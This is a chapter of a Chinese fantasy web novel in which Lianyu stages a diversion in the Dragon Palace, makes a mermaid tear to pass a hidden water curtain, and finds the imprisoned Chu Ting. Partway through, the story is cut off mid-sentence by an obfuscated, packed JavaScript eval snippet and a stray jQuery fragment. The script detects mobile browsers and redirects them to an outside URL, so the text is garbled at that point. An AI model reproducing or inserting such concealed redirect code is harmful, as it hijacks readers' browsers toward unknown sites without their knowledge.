蔓蔓见莲玉又带了个人回来,不叫不跳不闹,目不斜视径自走出了寝殿,转身之际还不忘将门关上。
崇明见莲玉在龙宫尚且称得上一句身份高贵,轻乜她一眼:“你到底是谁,天族安插的眼线?”
“算不上吧,你又是谁?”莲玉同样好奇地打量这位看起来毫无破绽的男扮女装奸细,褚庭手下真称得上一句人才济济啊。
崇明思忖片刻,既然玄豹让他相信此人,那么这人应当也是神君府的老人了。
“吾乃杏花岛崇明神君。”
莲玉愕然:“杏花岛是你的,这么说酒也是你酿的?”
崇明盯着她看了一会儿,捕捉到一丝熟悉的灵力后豁然开朗,恶狠狠骂道:“原来老东西就是带你去偷我的酒,你们这对狼狈为奸、狼心狗肺、狼子野心的狗男女。”
“别别别。”莲玉急忙否认,将自己摘出来:“我可是一口都没喝呢,都是他,都是他。”
眼见话题越扯越偏,莲玉接着问:“你为何能在魔族眼皮底下来去自如?”
崇明抱臂转过身去,不屑道:“哼,麒麟乃上古神兽,生来便通三十六般变化,且我师从三仙岛,对付这些小喽啰,简直是易如反掌。”
“你就是大战当天那只麒麟?”莲玉自问自答:“怪不得能在魔族眼皮子底下窜来窜去,这样的话,我想到办法救你家神君了。”
崇明终于听到了一些合他心意的话,一寸一寸将脖子扭过来:“快说。”
圆溜溜的眼睛转了一圈,莲玉正色道:“在此之前,你必须答应我一件事。”
崇明走到屏风前,好奇地拨弄着上面生长的水草和珊瑚:“说。”
“此次由我全权指挥,军令如山,你做什么也好,都必须提前告诉我,一切事宜你必须听我的!”
莲玉一口气说完,眼角余光扫到崇明动作停了下来,须臾过后,传来一声有气无力的“好”。
很不满意嘛!
莲玉全然忽视,咳了咳:“那你附耳过来。”
。
“你这孩子,怎么病了也不跟姑姑说?”青雀坐在床边,一勺接一勺舀起温热的汤药喂给莲玉,言语中带了三分埋怨。
莲玉乖顺地喝完,缩在被褥里,偏了偏头:“姑姑,你如今事务繁杂,我不碍事的,让你分心才不应该。”
青雀眼中浮现出难以抑制的温情,莲玉见状勾起了唇角。
她和青雀九重天相处数百年,青雀什么性格她虽没太大把握,但是她的脾性,想必青雀清楚得很。
听话懂事装可怜,这是她的必杀技。
青雀帮她掖了掖被角:“妖骨方融合,你身子骨虚,平日里的汤药要及时喝,否则,不知何年何月才能将溟虚从桀幽手里救出来。”
一提起这个,莲玉心头更加困惑,按理说以她曾经见到溟虚的场景,这位身份尴尬的前朝太子过得还算如意,为何在青雀口中却成了生活在水深火热中?
还是说有什么不为人知的内情?
不过此种情景之下容不得莲玉细想,她看着寝殿内半卷的珠帘忽然开始无风轻摇,默默闭上了眼,心里默念五个数。
外面一声巨响传来,随之而来的是地动山摇。
莲玉盯着穹顶之上掉落的各色宝石,心疼的像有人偷了她珍藏的话本子拿去烧柴火。
“你好好休息。”青雀简单安抚她两句便出去查看。
蔓蔓走到床边,十分自然地捧来一套侍女的衣服,旁的一个字都不多问。
莲玉也不多说一个字的换上衣服,主仆二人近些日子以来,默契培养的是越来越深。
走出寝殿,望见西北角海水混沌,时不时有几个魔族士兵、鲛人族士兵被掀飞。
忽而腾起一阵青色烟雾,得知崇明已得手,莲玉飞身跃到房顶,静静观察其余士兵的走向。
与她前几日打听到的相差无几,龙宫守卫仍大多数是龙宫旧部,而魔族与鲛人族士兵多数负责巡查之职。
凭她对青雀的了解,前上官今姑姑青雀生性多疑,此次拙劣的调虎离山之计即使漏洞百出,她也不会错放一个。
远眺西北角战场,果真让她看见了一队鲛人族士兵朝着相反的方向跑去。
找到了!
莲玉捏了个刚跟崇明学的变身术法,化作一条海鳗,跟在几人身后。
鲛人族在水中行动灵活,龙宫的后花园地形又太过复杂,几次三番莲玉差点跟丢了。
走到花园的一处假山旁,三位鲛人族士兵倏地消失在她眼前。
莲玉使劲眨了眨眼,又揉了揉脸,以为是自己没睡醒,漏看了什么法术。
可周围毫无灵力波动的迹象。
她放慢速度游过去,在假山前转了几圈,也没有找到任何的异样。
莲玉干脆找出隐身符箓给自己贴上,蹲在假山之上等那几个士兵出来。
几人应当只是探查情况,见褚庭这边没有动静,很快便出来了。
莲玉这次瞪大了眼,三人骤然出现,吓了她一跳。
原来假山之前有一水幕,平时看不出一点异样,但拿着特定的信物靠近,水幕才会出现。
她猜,褚庭就在水幕后,而阵眼的入口,也被法阵挪到了此处。
问题又来了,信物是什么呢?
莲玉折返回寝殿,换回自己的衣服躺下,装作闭目养神。
青雀能进去,鲛人族士兵能进去,水族不行,魔族也不行。
什么东西是这些人有,但是其他人没有的?
有了。
莲玉弹身坐起,鲛人泪啊!
青雀手上有她那位便宜三叔送的,其他人自产自销。
轮到她,她该怎么弄来呢?
“蔓蔓!”莲玉喊了一声。
蔓蔓以为她要喝水,端了杯茶走过来:“公主请用。”
莲玉接过茶盏:“你可知鲛人泪的缘由?”
蔓蔓娓娓道来,本就是水族、又是妖身,自然比莲玉这个半路出家的公主知晓的多。
真情之泪,莲玉柳眉微蹙,这不是纯难为她吗?
怎么判断这个泪是不是真情之泪,万一她觉得是,水幕的阵法觉得不是,这又如何是好?
见她困惑,蔓蔓小声提点:“公主可以想想心爱之人离世时的痛苦。”
主意是好主意,但她自打妖骨融合醒了后,总觉得脑子里有一块混混沌沌的,说不出道不明的感觉。
至于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880767|171667||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
褚庭,人不还没死吗?
一想起他,莲玉的心口又是一阵翻天覆地的绞痛,她眼前一黑,猛地跌到床上。
“公主。”蔓蔓扶她起身,给她腰后塞了两个软枕。
莲玉抚着心口缓了好一会才顺过来气,也不知道青雀给她天天喝的是什么东西。
就算知道不是好东西,她也没有任何反抗的余地。
“你出去吧,无论屋里有什么动静都别进来。”
蔓蔓很识时务,收拾好茶盏便退出了寝殿。
莲玉抱着软枕,开始在脑子里回想这一辈子遇上的所有伤心事。
从小时候为了口吃的爹娘将她扔给琴蘅老头,到如今被关在龙宫里锦衣玉食不思进取。
啧,莲玉拍了拍自己的脸颊,怎么还能笑出声来。
不行不行。
她翻了个身,咬住软枕一角,开始从心底搜寻那人的身影。
心脏像是被扎进去了一把剑,来回转动,绞痛感让她能清楚听见咬紧牙关时后槽牙的蹦嚓声。碎裂感从脊骨处向四肢蔓延,每一寸骨头都像被细细碾碎。
血液之中仿佛有什么东西在游走,莲玉捕捉不到,只能任由它啃噬心脉。
直到某一滴泪并未在被褥间洇开,而是缓缓在她眼前浮起。
莲玉颤抖了半晌才平息下来,松开口中软枕的时候,发现软枕都被她咬破了。
顾不得这些,莲玉将破枕头塞进芥子袋,又将鲛人泪握在掌心,佯装睡下。
半梦半醒间听到青雀的声音,蔓蔓说她身子不适,早早睡下了。
幸亏她这些时日太过听话,青雀也未深究。
殿外的脚步声消失那一瞬,莲玉睁开眼,从床上起身。
琉璃顶外天色已沉,莲玉叫蔓蔓进来,换了衣服后朝着花园的方向过去。
幸好她留了个心眼,距离水幕还有段距离的时候就停下,硬生生等了半个多时辰,待天色黑透,水幕里没有人出来,也没有人要进去,才握着鲛人泪钻进水幕。
进去后,莲玉赶紧将鲛人泪装进瓷瓶中,为了这点东西她快折进去半条命了。
水幕后是一个山洞,洞里有一条小河通往更深处,莲玉虽然好奇,但眼下不是探究为什么龙宫里有山洞的好时机。
她沿着河流、贴着山洞墙壁往深处走,洞壁上滴落的冷水时不时激得她浑身一激灵。
越往里走,水流的冲击声越大,山洞也越宽阔,更让莲玉相信她没找错地方。
河流的尽头是一汪藏匿在山洞里的湖泊,湖泊中央的湖心岛上盘坐着一个高大的身影。
“别过来。”褚庭缓缓开口,声音极为喑哑。
莲玉垂下头看了看湖面:“是沉水?”
“嗯。”褚庭将话简洁到不能再简洁。
神罚台四周的沉水不过一个小池塘,龙宫财大气粗,居然弄来了一个湖!
沉水脱离三界外,任何法器、容器都盛不住它,神罚台四周沉水还是鸿钧老祖使了一招搬山移海,他们是怎么搬过来的?
“你怎么来了?”褚庭恹恹道:“不是让你快走吗?”
莲玉听出他声音里的虚弱,稍微停顿后选择实话实说:“我是来杀你的,你信吗?”